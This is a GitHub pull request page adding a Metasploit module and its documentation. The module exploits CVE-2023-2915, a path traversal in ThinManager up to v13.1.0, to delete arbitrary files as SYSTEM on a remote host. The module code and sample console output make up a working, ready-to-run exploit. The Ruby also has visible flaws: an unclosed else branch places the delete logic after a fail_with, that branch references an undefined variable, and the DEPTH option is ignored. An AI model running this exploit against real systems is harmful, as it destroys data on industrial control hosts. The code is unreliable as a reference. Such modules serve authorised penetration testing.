Skip to content

ThinManager Path Traversal Delete (CVE-2023-2915) Module #20140

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
## Vulnerable Application

This module exploits a path traversal vulnerability in ThinManager <= v13.1.0 (CVE-2023-2915) to delete an arbitrary file from the
system.

The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.

## Testing

The software can be obtained from
[the vendor](https://thinmanager.com/downloads/).

**Successfully tested on**

- ThinManager v13.1.0 on Windows 22H2
- ThinManager v13.0.1 on Windows 22H2
- ThinManager v13.0.0 on Windows 22H2
- ThinManager v12.1.5 on Windows 22H2
- ThinManager v10.0.2 on Windows 22H2

## Verification Steps

1. Install and run the application
2. Start `msfconsole` and run the following commands:

```
msf6 > use auxiliary/gather/thinmanager_traversal_delete
msf6 auxiliary(gather/thinmanager_traversal_delete) > set RHOSTS <IP>
msf6 auxiliary(gather/thinmanager_traversal_delete) > set FILE <file to delete>
msf6 auxiliary(gather/thinmanager_traversal_delete) > run
```

This should delete the file as specified through FILE from the remote server.

## Options

### FILE
The file to delete from the remote server.

## Scenarios

Running the exploit against ThinManager v13.0.1 on Windows 22H2 should result in an output similar to the following:

```
msf6 auxiliary(gather/thinmanager_traversal_delete) > run
[*] Running module against 192.168.137.229

[*] 192.168.137.229:2031 - Running automatic check ("set AutoCheck false" to disable)
[!] 192.168.137.229:2031 - The service is running, but could not be validated.
[*] 192.168.137.229:2031 - Sending handshake...
[*] 192.168.137.229:2031 - Received handshake response.
[*] 192.168.137.229:2031 - Deleting /Windows/win.ini from 192.168.137.229
[+] 192.168.137.229:2031 - Received response from target.
[*] Auxiliary module execution completed
```
153 changes: 153 additions & 0 deletions modules/auxiliary/admin/networking/thinmanager_traversal_delete.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,153 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ThinManager Path Traversal (CVE-2023-2915) Arbitrary File Delete',
'Description' => %q{
This module exploits a path traversal vulnerability (CVE-2023-2915) in ThinManager <= v13.1.0 to delete arbitrary files from the system.

The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
},
'Author' => [
'Michael Heinzl', # MSF Module
'Tenable' # Discovery and PoC
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-2915'],
['URL', 'https://www.tenable.com/security/research/tra-2023-28'],
['URL', 'https://support.rockwellautomation.com/app/answers/answer_view/a_id/1140471']
],
'DisclosureDate' => '2023-08-17',
'DefaultOptions' => {
'RPORT' => 2031,
'SSL' => 'False'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('FILE', [false, 'The file to delete from the target system.', '/tmp/foo.txt']),
OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 7 ])
]
)
end

def check
begin
connect
rescue Rex::ConnectionTimeout
print_error("Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed.")
return Exploit::CheckCode::Unknown
end

vprint_status('Sending handshake...')
handshake = [0x100].pack('V')
vprint_status(Rex::Text.to_hex_dump(handshake))
sock.put(handshake)

res = sock.get_once(4096, 5)
expected_header = "\x00\x04\x00\x01\x00\x00\x00\x08".b

if res&.start_with?(expected_header)
vprint_status('Received handshake response.')
vprint_status(Rex::Text.to_hex_dump(res))
disconnect
return Exploit::CheckCode::Detected
elsif res
vprint_status('Received unexpected handshake response:')
vprint_status(Rex::Text.to_hex_dump(res))
disconnect
return Exploit::CheckCode::Safe
else
disconnect
return Exploit::CheckCode::Unknown('No handshake response received.')
end
end

def mk_msg(msg_type, flags, data)
dlen = data.length
hdr = [msg_type, flags, dlen].pack('nnN')
hdr + data
end

def run
print_status('Sending handshake...')

begin
connect
rescue Rex::ConnectionTimeout => e
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
end

handshake = [0x100].pack('V')
vprint_status(Rex::Text.to_hex_dump(handshake))

begin
sock.put(handshake)
rescue StandardError => e
fail_with(Failure::UnexpectedReply, "Failed during handshake send: #{e.class} - #{e.message}")
end

res = sock.get
if res
print_status('Received handshake response.')
vprint_status(Rex::Text.to_hex_dump(res))
else
print_error('No handshake response received.')
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")

begin
fname = datastore['FILE']
traversal = '../' * 7
full_fname = traversal + fname
full_fname = full_fname.gsub(%r{/+}, '/')

data = [0xaa].pack('N')
data << "unk_str1\x00"
data << [1].pack('N')
data << full_fname.encode('ASCII') + "\x00"

req = mk_msg(21, 0x0021, data)
rescue StandardError => e
fail_with(Failure::BadConfig, "Failed to construct request: #{e.class} - #{e.message}")
end

vprint_status(Rex::Text.to_hex_dump(req))

print_status("Deleting #{fname} from #{datastore['RHOSTS']}")
sock.put(req)

begin
res = sock.get
if res

print_good('Received response from target.')
vprint_status(Rex::Text.to_hex_dump(res)) if res
else
print_error('No response received from target.')
end
rescue StandardError => e
fail_with(Failure::TimeoutExpired, "Failed to receive response: #{e.class} - #{e.message}")
ensure
disconnect
end
end
end
end